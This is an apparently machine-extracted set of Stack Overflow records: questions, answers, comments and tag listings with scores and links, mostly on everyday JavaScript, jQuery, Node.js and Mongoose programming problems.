has body: Function that utilises the central limit theorem. function normal(mu, sigma, nsamples){ if(!nsamples) nsamples = 6 if(!sigma) sigma = 1 if(!mu) mu=0 var run_total = 0 for(var i=0 ; i&lt;nsamples ; i++){ run_total += Math.random() } return sigma*(run_total - nsamples/2)/(nsamples/2) + mu }
answers question: http://stackoverflow.com/q/25582882
score: 14
has comment: http://stackoverflow.com/comment/85853629

http://stackoverflow.com/q/25654938
has comment: http://stackoverflow.com/comment/40089097
score: 0
has body: I have a line of code that changes body background to black when particular img link is clicked, and if the img link is clicked again it returns to white. It works perfect in chrome, but in firefox it works for the first click but does not change back body background on second click. Here is the code: HTML &lt;a href="#" onclick="changeBackground('black');return false;"&gt;&lt;img class="img1" src="..."&gt;&lt;/img&gt;&lt;/a&gt; JAVASCRIPT &lt;script type = "text/javascript"&gt; function changeBackground(color) { if(document.body.style.background != 'black'){ localStorage.color = document.body.style.background = color; } else if(document.body.style.background === 'black'){ localStorage.color = document.body.style.background = 'white'; } changeBackground(localStorage.color); }; &lt;/script&gt; I assume that this is not problem with onclick trigger because it works in firefox for the first click. It may be the javascript code..but I don't see anything missing...
accepted answer: http://stackoverflow.com/a/25655242
has comment: http://stackoverflow.com/comment/40089284
has comment: http://stackoverflow.com/comment/40089281
answer count: 1
has comment: http://stackoverflow.com/comment/40089227
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40089092
type: AnsweredQuestion
tagged with: onclick
has comment: http://stackoverflow.com/comment/40089499
has answer: http://stackoverflow.com/a/25655242
tagged with: local-storage
has title: onclick does not work properly in firefox
type: Question
has comment: http://stackoverflow.com/comment/40089576
tagged with: javascript

http://stackoverflow.com/q/25706608
upvote count: 1
favorite count: 0
type: UnansweredQuestion
tagged with: node.js
answer count: 0
downvote count: 0
score: 1
tagged with: mongoose-populate
has body: I have a mongoose object as follows: var BoxSchema = new Schema({ name: String, OwnerId: String, items: [{type: Schema.Types.ObjectId, ref: 'Item'}], created: {type: Date, default: Date.now}, updated: {type: Date, default: Date.now} }); mongoose.model('Box', BoxSchema); var ItemSchema = new Schema({ name: String, OwnerId: String, settings: { tools: [{type: Schema.Types.ObjectId, ref: 'Tool'}] }, created: {type: Date, default: Date.now}, updated: {type: Date, default: Date.now} }); mongoose.model('Item', ItemSchema); var ToolSchema = new Schema({ name: String, type: {type: String}, uses: [{type: String}] created: {type: Date, default: Date.now}, updated: {type: Date, default: Date.now} }); mongoose.model('Tool', ToolSchema); Now I do something like: Box.find().populate('items settings.tools').exec(function(err, boxes){ console.log(boxes); }); I find that Items is getting populated well, but settings.tools within each item is not. How may I make it populate?
type: Question
tagged with: mongoose
tagged with: javascript
has title: MongooseJS Populate Array of refs within an array of refs

http://stackoverflow.com/comment/129690254
score: 1
comment on: http://stackoverflow.com/a/25613615
type: AnswerComment
has text: `1000/100; // desired interval is 10fps` <-- this looks more like 100 frames per second, not 10
type: Comment

http://stackoverflow.com/comment/39926151
score: 0
type: Comment
has text: yes that solved my problem please help me to my other problem i tried the link you give me but it pointed to my angularJS..
type: AnswerComment
comment on: http://stackoverflow.com/a/25566286

http://stackoverflow.com/comment/39933294
comment on: http://stackoverflow.com/q/25569913
score: 0
has text: `.join()` has nothing to do with jQuery
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/39944836
type: Comment
comment on: http://stackoverflow.com/q/25575783
has text: It appears, after a short test, that my guess was wrong. (I had `<?php` inside single quotes, but without the database stuff. It looks OK.)
score: 0
type: QuestionComment

http://stackoverflow.com/comment/39926208
type: QuestionComment
comment on: http://stackoverflow.com/q/25566196
score: 0
type: Comment
has text: Sorry, i'm forgot to put any example....

http://stackoverflow.com/a/25712060
has body: Controller should be define like following in main.js angular.module('todoApp', []) .controller('TodoController', ['$scope', function($scope) { }]); Give name to ng-app to ng-app='todoApp' in html tag
score: 0
answers question: http://stackoverflow.com/q/25711537
type: Answer

http://stackoverflow.com/a/25632109
answers question: http://stackoverflow.com/q/25631918
score: 1
upvote count: 1
has body: The .filter method can do exactly what you want if substituted for .find in your example.
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25631918
type: Answer

http://stackoverflow.com/a/25572579
answers question: http://stackoverflow.com/q/25572438
has comment: http://stackoverflow.com/comment/40127888
type: AcceptedAnswer
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/25572438
has comment: http://stackoverflow.com/comment/40124811
has comment: http://stackoverflow.com/comment/40126868
has body: What you need to do is capture an event on both input elements, and then change the text based on each selection and event. $("input").keyup(function() { $(".dynamic").html($('select').val().toLowerCase() +'://' + this.value); }); $('select').on('change', function(){ $(".dynamic").html(this.value.toLowerCase() +'://'+ $('input').val()); }); Here's the jsFiddle
upvote count: 3
score: 3

http://stackoverflow.com/q/25661082
has answer: http://stackoverflow.com/a/25661305
downvote count: 1
type: Question
upvote count: 0
has answer: http://stackoverflow.com/a/25661134
tagged with: javascript
tagged with: jquery
score: -1
has title: How to separate HTML elements which are in the same type of tag, but in different types using Jquery
answer count: 3
tagged with: http://stackoverflow.com/tag/html
favorite count: 0
type: UnansweredQuestion
has body: .find() method of JQuery can be used to find a element tag in a HTML file. But how can I differentiate two tags of same type. As an example new.find('input') finds input tags. But how can I differentiate tags in a following kind of scenario. new.find('input').attr('id', 'name'+ number); In this case all input tags get affected. If I have two input tags, both of them get the same id. (This is a part of a code which is used to generate and assign ids dynamically.) I have &lt;input type="text"/&gt; and &lt;input type="number" /&gt; I need to assign ids to these two elements separately. How can I do it?
has answer: http://stackoverflow.com/a/25661190
has comment: http://stackoverflow.com/comment/40099829

http://stackoverflow.com/q/25642714
has title: How to change a background when i hover over an image being used as a menu link on the home page
score: 0
type: Question
has comment: http://stackoverflow.com/comment/40066345
tagged with: javascript
has comment: http://stackoverflow.com/comment/40066383
has comment: http://stackoverflow.com/comment/40066097
answer count: 1
has body: I have tried some of the other answers but can't seem to understand the answers well enough to implement. The HTML code for the image I want to use a mouseover command to change the background which is simply in my images file. &lt;a href="./car.html"&gt; &lt;img src="images/index.jpg" id="Image3" alt="" border="0" style="width:153px;height:153px;"&gt; &lt;/a&gt;
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25643641

http://stackoverflow.com/comment/39925507
type: Comment
has text: Since the tests do pass I'm thinking it's related to either PhantomJS or Gulp? Unfortunately, I do not enough about them to be able to help you...
type: QuestionComment
comment on: http://stackoverflow.com/q/25561228
score: 0

http://stackoverflow.com/comment/40943775
type: AnswerComment
has text: This is not an answer. If you have a question yourself that looks like this one, you should wait for an answer or ask your own question with the "Ask Question" button above. and link to this question.
type: Comment
comment on: http://stackoverflow.com/a/26123748
score: 0

http://stackoverflow.com/a/36272835
upvote count: 5
answers question: http://stackoverflow.com/q/25677259
downvote count: 0
type: Answer
has body: For me, the issue was a dunce move. I have the Google Analytics Opt-out Add-on for Chrome enabled. What I had to do was go to chrome://extensions/, scroll down to the Extension "Google Analytics Opt-out Add-on (by Google)" and uncheck the box that says, "Enable". I hope this helps someone.
score: 5

http://stackoverflow.com/a/25605063
score: 2
accepted answer of: http://stackoverflow.com/q/25604974
answers question: http://stackoverflow.com/q/25604974
downvote count: 0
has body: Wen you apply | on false|true then it becomes numbers ie, false as 0 and 1 as true. | is bitwise OR and is mostly applied on bits. alert(false|true); Output 1 JSFIDDLE DEMO And if you use || then it returns true DEMO
type: AcceptedAnswer
upvote count: 2
type: Answer

http://stackoverflow.com/a/25942489
has comment: http://stackoverflow.com/comment/95359814
has comment: http://stackoverflow.com/comment/40733899
has comment: http://stackoverflow.com/comment/40638438
upvote count: 7
has comment: http://stackoverflow.com/comment/40638417
has comment: http://stackoverflow.com/comment/40636579
has comment: http://stackoverflow.com/comment/40754781
score: 7
accepted answer of: http://stackoverflow.com/q/25707443
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/25707443
has comment: http://stackoverflow.com/comment/40672762
has comment: http://stackoverflow.com/comment/40646250
has comment: http://stackoverflow.com/comment/40646197
has comment: http://stackoverflow.com/comment/40672804
type: Answer
has body: I found a great resource at https://github.com/GoogleChrome/chrome-app-samples/tree/master/samples/one-time-payment I edited it a bit to add more error trapping as I moved it into my app. I had a lot of times where I had to go to different Google API things though and edit them. If you have trouble with this code, I will try to look up what I changed and let you know. You can copy and paste this into the console window of the background page and execute it with getLicense. If you copy your key into the manifest, you can do it with a local extension and don't have to wait an hour with every change. I highly recommend that. The key is the one from the developer dashboard -more info. function getLicense() { var CWS_LICENSE_API_URL = 'https://www.googleapis.com/chromewebstore/v1.1/userlicenses/'; xhrWithAuth('GET', CWS_LICENSE_API_URL + chrome.runtime.id, true, onLicenseFetched); } function onLicenseFetched(error, status, response) { function extensionIconSettings(badgeColorObject, badgeText, extensionTitle ){ chrome.browserAction.setBadgeBackgroundColor(badgeColorObject); chrome.browserAction.setBadgeText({text:badgeText}); chrome.browserAction.setTitle({ title: extensionTitle }); } var licenseStatus = ""; if (status === 200 &amp;&amp; response) { response = JSON.parse(response); licenseStatus = parseLicense(response); } else { console.log("FAILED to get license. Free trial granted."); licenseStatus = "unknown"; } if(licenseStatus){ if(licenseStatus === "Full"){ window.localStorage.setItem('ChromeGuardislicensed', 'true'); extensionIconSettings({color:[0, 0, 0, 0]}, "", "appname is enabled."); }else if(licenseStatus === "None"){ //chrome.browserAction.setIcon({path: icon}); to disabled - grayed out? extensionIconSettings({color:[255, 0, 0, 230]}, "?", "appnameis disabled."); //redirect to a page about paying as well? }else if(licenseStatus === "Free"){ window.localStorage.setItem('appnameislicensed', 'true'); extensionIconSettings({color:[255, 0, 0, 0]}, "", window.loc…
has comment: http://stackoverflow.com/comment/40656169

http://stackoverflow.com/comment/40153554
comment on: http://stackoverflow.com/a/25690050
type: AnswerComment
score: 0
type: Comment
has text: Nice, it seems to work in FF too. A pro in my answer is that you don't need to change the original `script.text` at all. But +1 as I've promised : ).

http://stackoverflow.com/a/25608570
has comment: http://stackoverflow.com/comment/40004700
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25608510
has comment: http://stackoverflow.com/comment/40004630
has comment: http://stackoverflow.com/comment/40004318
has comment: http://stackoverflow.com/comment/40004417
type: Answer
upvote count: 1
score: 1
accepted answer of: http://stackoverflow.com/q/25608510
has comment: http://stackoverflow.com/comment/40044578
downvote count: 0
has body: You can do something like: window.onkeydown = function(e) { if (e.keyCode == 9) return false; // Disable Tab! }
has comment: http://stackoverflow.com/comment/40004331

http://stackoverflow.com/comment/40025135
has text: It does work http://jsfiddle.net/x4zf9h5L/ You have something else that is wrong.
type: Comment
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/25619493

http://stackoverflow.com/comment/39980549
comment on: http://stackoverflow.com/a/25594661
has text: Well the info is there, but not formated like you want ;) Good luck with your continuation!
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/a/25657685
has body: Here's the code works well as you mentioned. $("html,body").animate({ scrollTop: $("#blog").offset().top-20 }, 2000);
answers question: http://stackoverflow.com/q/25657644
score: 0
has comment: http://stackoverflow.com/comment/40093981
type: Answer

http://stackoverflow.com/comment/39922675
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25564374
has text: Integers? They don't exist in JavaScript. They are all doubles.
score: 0

http://stackoverflow.com/q/25709508
tagged with: javascript
tagged with: jquery
tagged with: http://stackoverflow.com/tag/html
answer count: 1
downvote count: 0
accepted answer: http://stackoverflow.com/a/25709571
has body: I have a input and img tag like this in my HTML code: &lt;input type="file" name="img2" id="chooseimg" onchange="readURL(this);"&gt; &lt;img id="img-edt" src="l1.png" alt="your image" width="502" height="319"/&gt; And in js i use this code to change image: function readURL(input) { if (input.files &amp;&amp; input.files[0]) { var reader = new FileReader(); reader.onload = function(e) { $('#img-edt') .attr('src', e.target.result) .width(502) .height(319); }; reader.readAsDataURL(input.files[0]); } showDimension(); } After that image load,i need to know the dimension of original image,so i use this function: function showDimension() { var mm = document.getElementById("img-edt"); var ww = mm.naturalWidth; var hh = mm.naturalHeight; var x = document.getElementById("teeest"); x.innerHTML = "w is: " + String(ww) + "h is: " + String(hh); } But the problem is that always it returns size of previous image. please help me with this problem.
favorite count: 0
has title: change src of img tag with input file
upvote count: 1
type: AnsweredQuestion
score: 1
has answer: http://stackoverflow.com/a/25709571
type: Question

http://stackoverflow.com/q/25562486
tagged with: css
has body: I have a table that its generated on server-side and then I append it to the view page (client-side). So the table is not the DOM. Then I am working using StickyTableHeaders jquery plugin to add sticky header of my table. But I can't call the table class name because the table not printed on the page. I tried to call the selector by : var offset = $('.navbar').height(); $(".table").stickyTableHeaders({fixedOffset: offset}); So, how my table class name accessible by the StickyTableHeaders function.
has title: How to call selector from dynamic content using jQuery?
score: 0
answer count: 1
tagged with: javascript
type: UnansweredQuestion
tagged with: jquery
has answer: http://stackoverflow.com/a/25562543
type: Question
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/q/25607213
type: Question
tagged with: if-statement
has comment: http://stackoverflow.com/comment/40002166
downvote count: 0
has comment: http://stackoverflow.com/comment/40002155
tagged with: javascript
tagged with: boolean-logic
has answer: http://stackoverflow.com/a/25607377
answer count: 3
has body: i already know the following behavior, but can someone tell me WHY this happens? Thanks. if("hello"==true)alert("it's true!"); //-&gt; does not fire the alert if("hello"==false)alert("it's true!"); //-&gt; does not fire the alert if("hello")alert("it's true!"); //-&gt; fires the alert
tagged with: operators
favorite count: 0
has answer: http://stackoverflow.com/a/25607250
has title: javascript true and false
has answer: http://stackoverflow.com/a/25607255
upvote count: 1
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/11363659
possible better answer: http://stackoverflow.com/a/25607255
score: 1
accepted answer: http://stackoverflow.com/a/25607250

http://stackoverflow.com/comment/40067089
type: Comment
score: 0
comment on: http://stackoverflow.com/a/25641397
type: AnswerComment
has text: Okay... send me a link. :)

http://stackoverflow.com/comment/46697437
has text: also, the `myDropzone.removeAllFiles(true);` isnt to remove the thumbnail alone, thats taken care with the option passed to the dropdown init object, but the name and icons etc are still left behind when I've tried it. This removes them. And removing them on any other event stops the upload process so was stuck with a flicker. There are probably more graceful ways of doing it but I've only used angular for a couple of months now.
comment on: http://stackoverflow.com/a/29222632
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/25561232
has body: I'm trying to set some random coordinates on a map. I wrote the console.log line to see if it was successfully picking numbers, but it's telling me that everything in my destinations array is NaN. It looks like it's assigning the Math.random function to the variable instead of calling Math.random and giving it the number it returns. Anyone know what's up? var nodeCount = 10 var mapSize = 100; var destinations = new Array(nodeCount); for (var i = 0; i &lt; nodeCount; i++) { destinations[i] = new Array(2); } var generateDestinations = function(nodeCount) { for (var i=0; i&lt;nodeCount; i++) { destinations[i][0] = Math.floor(Math.random*mapSize); //sets x-coord destinations[i][1] = Math.floor(Math.random*mapSize); //sets y-coord console.log(destinations); } }; generateDestinations(nodeCount);
accepted answer: http://stackoverflow.com/a/25561261
has title: JS: Why is my variable being assigned a function instead of calling the function?
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25561302
has answer: http://stackoverflow.com/a/25561302
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/25561261
tagged with: javascript
score: 0
has comment: http://stackoverflow.com/comment/39916783

http://stackoverflow.com/a/25687855
has body: I really don't think regular expressions are the right tool for this. You can use a combination of .contents and .filter to remove the duplicate &lt;br /&gt; tags: var prev = null; var $nodes = $('.body') .contents() .filter(function () { return this.nodeType !== 3 || $.trim(this.data) !== ""; }); for (var i = 1; i &lt; $nodes.length; i++) { if ($nodes.eq(i).is('br') &amp;&amp; $nodes.eq(i-1).is('br')) { $nodes.eq(i).remove(); } } The complexity here is the text nodes in between the &lt;br /&gt; tags, thus the two-step process. Example: http://jsfiddle.net/dm9eebz9/9/
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/25687191
upvote count: 1
type: Answer

http://stackoverflow.com/q/25705894
tagged with: javascript
score: 0
has comment: http://stackoverflow.com/comment/40186306
type: UnansweredQuestion
tagged with: sockets
has body: in node.js i want to grab the localStorage data from client and want to use this data in index.html file. any ideas? io.sockets.on('connection', function(client){ // when a message comes in from a client, re-emit it from the server to client(s) client.on('message:client', function(data) { client.broadcast.emit('message:server', {message: data.message}); }); i have one index html page and i want when user open it, it just grab value from localStorage from that client's browser and when he emit message (by using node.js chat server), here i want that he emit/bradcast that message with its localStorage value, so everyone can see their localStorage value on index.html page. so what code should i add to server side and also client side?
tagged with: node.js
has comment: http://stackoverflow.com/comment/40181573
answer count: 0
has comment: http://stackoverflow.com/comment/40187698
type: Question
has title: how to grab more data from client using socket.io

http://stackoverflow.com/q/25569240
has answer: http://stackoverflow.com/a/25582196
has comment: http://stackoverflow.com/comment/39934353
tagged with: php
has body: Hi have created a XMLHttpRequest and get the resp by using the following code. var xhr = new XMLHttpRequest(); xhr.open("GET", URL, true); xhr.responseType = "text"; xhr.onload = function () { debugger; var resp = xhr.response; var result = msgpack.unpack(resp); }; but the response in undefined. I have checked the service from iOS and it is working fine.
type: Question
tagged with: javascript
tagged with: jquery
tagged with: msgpack
score: 0
answer count: 1
has title: msgpack - unpack data from php service using js
type: UnansweredQuestion

http://stackoverflow.com/comment/39918889
has text: I need it automated (hence the use of Tasker) so it could take 2 dates and output the number of Mondays, Wednesdays, and Fridays between them.
type: Comment
comment on: http://stackoverflow.com/a/25562276
type: AnswerComment
score: 0

http://stackoverflow.com/q/25613551
upvote count: 1
tagged with: socket.io
type: Question
accepted answer: http://stackoverflow.com/a/25984304
has body: I am having a pretty specific problem but I hope people can point me in the right direction for how to debug or even fix it. I am trying to write a local client which can run and test a webpage I had built which uses SocketIO. I am running Phantom with the command line option --web-security=false since otherwise no in or out connections are legal as my local tester is not considered part of the same origin as my website I am testing (had to fix that before the listening would work). Using PhantomJS I can't get the emit function from SocketIO to work. It just fails silently without any error. I know the socket is validly connected because it can listen to incoming events just fine (so the on() method works). I can run the same emitting code in a web browser and it works just fine. Does anyone know alternatives to emit(), what lower level things emit() invokes that maybe I could patch, or how I should test things next? Any help is appreciated.
tagged with: javascript
downvote count: 0
answer count: 1
score: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/55530375
tagged with: casperjs
linked to: http://stackoverflow.com/q/15725236
has comment: http://stackoverflow.com/comment/40022710
tagged with: phantomjs
type: AnsweredQuestion
has title: SocketIO + PhantomJS emit not working
has answer: http://stackoverflow.com/a/25984304

http://stackoverflow.com/comment/40093373
type: QuestionComment
comment on: http://stackoverflow.com/q/25657166
score: 0
has text: I tried with $("#search").remove().insertAfter... but it doesn't work. I don't know what to do.
type: Comment

http://stackoverflow.com/a/25698828
has body: JavaScript is single threaded. It is too busy running round and round your while loop to perform a repaint of the page. Don't try to write a sleep function. The language isn't suited to it and it just chomps CPU. Rewrite your code to use setInterval or setTimeout instead. var i = 0; next(); function next() { $('#hello').append(str[i]); i++; if (i &lt; str.length) { setTimeout(next, 500); } }
has comment: http://stackoverflow.com/comment/40169114
type: Answer
has comment: http://stackoverflow.com/comment/40168942
has comment: http://stackoverflow.com/comment/40168919
upvote count: 4
has comment: http://stackoverflow.com/comment/40168699
score: 4
answers question: http://stackoverflow.com/q/25698804
accepted answer of: http://stackoverflow.com/q/25698804
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40169050

http://stackoverflow.com/q/25593414
type: UnansweredQuestion
tagged with: ruby-on-rails
tagged with: css
answer count: 0
type: Question
tagged with: jquery-ui
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/39976730
score: 0
has title: CSS vertical tab headings | Jquery not displaying content when tabs heading is clicked [Rails 4 & Jquery UI]
has body: Hi i am currently new to ruby on rails & JqueryUI. i am trying to create a vertical tab. when a tab is clicked the specific content under the tab is displayed. I used the example from the Jquery website: http://jqueryui.com/tabs/#vertical except i structured it slightly to suit my coding. in my HTML file, i have created 3columns - 'left-colum', 'middle-column & 'right-colum'. [i have 3 tabs] I have situated the 3tabs in the 'left-column', when the 1st tab is clicked the content for the 1st tab will be displayed within the 'middle-column' Question: when a tab is clicked, for example tab1 - how do i get only the contents for tab 1 to be displayed using CSS & JqueryUI HTML: views/layouts/application.html.erb. I added the script: # src="//code.jquery.com/ui/1.11.1/jquery-ui.js"> <%= full_title(yield(:title)) %> <%= stylesheet_link_tag 'application', media: 'all', 'data-turbolinks-track' => true %> <%= javascript_include_tag 'application', 'data-turbolinks-track' => true %> <%= csrf_meta_tags %> HTML: views/users/show.html.erb left-column My Discussions My Blogs My Events middle-column My Discussions Proin elit arcu, rutrum commodo, vehicula tempus, commodo. My Blogs Morbi tincidunt, dui sit amet facilisis feugiat, odio metus gravida ante. My events <% if @user.events.any? %> <%= render @events %> <% end %> right-column <%= render 'shared/user_followers' %> CSS: app/assets/stylesheets/application.css .ui-tabs-vertical { width: 55em; } .ui-tabs-vertical .ui-tabs-nav { padding: .2em .1em .2em .2em; float: left; width: 12em; } .ui-tabs-vertical .ui-tabs-nav li { clear: left; width: 100%; border-bottom-width: 1px !important; border-right-width: 0 !important; margin: 0 -1px .2em 0; } .ui-tabs-vertical .ui-tabs-nav li a { display:block; } .ui-tabs-vertical .ui-tabs-nav li.ui-tabs-active { padding-bottom: 0; padding-right: .1em; border-right-width: 1px; border-right-width: 1px; } .ui-tabs-vertical .ui-tabs-panel { padding: 1em; float: right; width: 40em; } Javascrip/JqueryUI: a…
has comment: http://stackoverflow.com/comment/39976704
has comment: http://stackoverflow.com/comment/40013476

http://stackoverflow.com/comment/39997172
score: 0
comment on: http://stackoverflow.com/a/25604274
has text: I tried it, doesn‘t seem to work. But thanks anyway.
type: Comment
type: AnswerComment

http://stackoverflow.com/a/25675888
answers question: http://stackoverflow.com/q/25673874
upvote count: 11
type: Answer
has comment: http://stackoverflow.com/comment/94448053
has comment: http://stackoverflow.com/comment/63080872
has body: Solved it by running the program as administrator.
score: 11
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25673874
type: AcceptedAnswer

http://stackoverflow.com/comment/40181121
score: 0
has text: @AdrianFlorescu I just made an edit to the custom function, so that you can have access to the original key.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/25705554

http://stackoverflow.com/comment/40055905
type: QuestionComment
has text: The closing element for form is missing from the code snippet. Missing in the real app as well?
score: 1
comment on: http://stackoverflow.com/q/25636719
type: Comment

http://stackoverflow.com/a/25637512
has body: I use this jQuery("#datepicker").datepicker({minDate:"+0d",onSelect:function(tarih){ jQuery("#datepicker2").datepicker("destroy"); var myDate = new Date(tarih) myDate.setDate(myDate.getDate() + 1) tarih = myDate.getFullYear().toString() + "/" tarih += (myDate.getMonth() + 1).toString() + "/" tarih += myDate.getDate().toString() jQuery("#datepicker2").datepicker({minDate:tarih}).delay(100).val(tarih); }});
answers question: http://stackoverflow.com/q/25636791
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/40094292

http://stackoverflow.com/a/25627277
upvote count: 1
downvote count: 1
has body: Why do you have this code? Crazy one. Remove it: if (current_width &lt; 600) { $('.footer-accordion-head').show(); $('.footer-accordion-body').hide(); $('.footer-accordion-head').click(function () { $(".footer-accordion-body").slideToggle('400'); return false; }
answers question: http://stackoverflow.com/q/25627237
score: 0
type: Answer

object
tags question: http://stackoverflow.com/q/25635091
tags question: http://stackoverflow.com/q/25593700
tag name: object
tags question: http://stackoverflow.com/q/25554867
tags question: http://stackoverflow.com/q/25588561
tags question: http://stackoverflow.com/q/25675836
tags question: http://stackoverflow.com/q/25666088
tags question: http://stackoverflow.com/q/25649594
tags question: http://stackoverflow.com/q/25621172
tags question: http://stackoverflow.com/q/25558293
tags question: http://stackoverflow.com/q/25597443
tags question: http://stackoverflow.com/q/25706972
tags question: http://stackoverflow.com/q/25594135
tags question: http://stackoverflow.com/q/25692641
tags question: http://stackoverflow.com/q/25576242
tags question: http://stackoverflow.com/q/25666286
tags question: http://stackoverflow.com/q/25553062
tags question: http://stackoverflow.com/q/25707247
tags question: http://stackoverflow.com/q/25685212
tags question: http://stackoverflow.com/q/25647917
tags question: http://stackoverflow.com/q/25585665
tags question: http://stackoverflow.com/q/25574242
tags question: http://stackoverflow.com/q/25687715
tags question: http://stackoverflow.com/q/25582759
tags question: http://stackoverflow.com/q/25593682
tags question: http://stackoverflow.com/q/25619959
tags question: http://stackoverflow.com/q/25707627
tags question: http://stackoverflow.com/q/25602617
tags question: http://stackoverflow.com/q/25630179
tags question: http://stackoverflow.com/q/25661581
tags question: http://stackoverflow.com/q/25633844
tags question: http://stackoverflow.com/q/25597530
tags question: http://stackoverflow.com/q/25655187
tags question: http://stackoverflow.com/q/25637101
tags question: http://stackoverflow.com/q/25567378
tags question: http://stackoverflow.com/q/25673429
tags question: http://stackoverflow.com/q/25702079
tags question: http://stackoverflow.com/q/25666199
tags question: http://stackoverflow.com/q/25703367
tags question: http://stackoverflow.com/q/25559905
tags question: http://stackoverflow.com/q/25657655
tags question: http://stackoverflow.com/q/25674269
tags question: http://stackoverflow.com/q/25634879
tags question: http://stackoverflow.com/q/25700612
tags question: http://stackoverflow.com/q/25572297
tags question: http://stackoverflow.com/q/25578753
tags question: http://stackoverflow.com/q/25573365
tags question: http://stackoverflow.com/q/25575613
tags question: http://stackoverflow.com/q/25670153
type: Tag
tags question: http://stackoverflow.com/q/25645967
tags question: http://stackoverflow.com/q/25554203
tags question: http://stackoverflow.com/q/25654661
tags question: http://stackoverflow.com/q/25631395
tags question: http://stackoverflow.com/q/25661311
tags question: http://stackoverflow.com/q/25610874
tags question: http://stackoverflow.com/q/25579431
tags question: http://stackoverflow.com/q/25709540

http://stackoverflow.com/q/25622463
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25622495
type: AnsweredQuestion
downvote count: 0
score: 1
favorite count: 0
has title: Better way of handling 'this' in closures in Javascript?
type: Question
upvote count: 1
has body: I often write Javascript code of the form: MyClass.prototype.loadData = function() { var oReq = new XMLHttpRequest(); var obj = this; oReq.onload = function() { obj.onDataLoaded(); } oReq.open("get", url, true); oReq.send(); } The part that seems unelegant is the var obj=this to assign the current object to a temporary variable, (obj) just to be able to refer to it in the oReq.onload function. For all other variables besides this, that would not be necessary, as they are automatically part of the closure, and thus can be referred to in onload(). But this is not part of the closure and instead always (?) refers to the object that the method is bound to. So is there a more idiomatic way of accessing the current this object from within a function being bound to another object than to assign this to a temporary variable first and then use that variable?
has answer: http://stackoverflow.com/a/25622495
linked to: http://stackoverflow.com/q/20279484
has comment: http://stackoverflow.com/comment/40029397
answer count: 1
duplicate of: http://stackoverflow.com/q/20279484
tagged with: closures

http://stackoverflow.com/a/25690939
score: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/25690181
has body: if you want to create a native way to confirm action, you can use confirm to prompt user to choose to continue or not, here's what should you do in your code "Cancel": function () { if(confirm("Are you sure you want to cancel ?")) { //code if yes $(this).dialog("close"); } else { //code if no, don't do anything in your case, or don't use the else } } here's the usage example. the other way if you want to make it look the same with your design, you could create a custom &lt;div&gt; which contain confirmation text of whether the user agree or want to continue or not, then style it using the CSS and using the jQuery onclick function to handle the event.
answers question: http://stackoverflow.com/q/25690181
has comment: http://stackoverflow.com/comment/40153894
type: AcceptedAnswer

http://stackoverflow.com/q/25652398
has body: I would like to keep a div visible while the mouse is in the bounds of the div, the code works until it hovers over the input. I would like a sign up form appear onmouseover and when the sign in is complete and the mouse moves off the div is no longer visible. jsFiddle Demo HTML Members JS var signUp = document.getElementById('signUp'); var signUpForm = document.getElementById('sign-up-form'); signUp.onmouseover = function(){ signUpForm.style.display = 'block'; } signUpForm.onmouseout = function(){ signUpForm.style.display = 'none'; } CSS #signUp{ position: relative; background-color: red; color: white; padding: 6px; } #sign-up-form{ display: none; position:absolute; top: 32px; left: 8px; background-color: rgba(0,83,159,0.6); padding: 15px; }
has comment: http://stackoverflow.com/comment/40084033
score: 0
answer count: 2
has comment: http://stackoverflow.com/comment/40084051
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25652471
possible better answer: http://stackoverflow.com/a/25652648
has answer: http://stackoverflow.com/a/25652648
has answer: http://stackoverflow.com/a/25652471
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40084553
type: Question
has title: Div containing input disapears on mouseout

http://stackoverflow.com/comment/40173471
type: AnswerComment
type: Comment
has text: This way, the php part is the same, but you don't have to mess with changing the src of the image, and it has a nice animated effect.
score: 0
comment on: http://stackoverflow.com/a/25666681

http://stackoverflow.com/comment/40083039
comment on: http://stackoverflow.com/a/25651697
has text: Yeah problem was of ID. ID work only for one element so only one element was draggable. So the ID should be unique for every element. :)
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/40015801
type: Comment
has text: I am exporting it, I'm using module.exports = snap to export the whole snap object. My question is really more about how to make my test pass?
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25614489

http://stackoverflow.com/comment/39936268
comment on: http://stackoverflow.com/a/25571235
type: AnswerComment
score: 0
type: Comment
has text: @user3349436 when i use your code like `href="javascript:void(0)"` it doesn't do anything.

http://stackoverflow.com/q/25606960
tagged with: ember.js
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25616072
has title: live update view in ember
type: Question
linked to: http://stackoverflow.com/q/19639739
tagged with: ember-data
tagged with: javascript
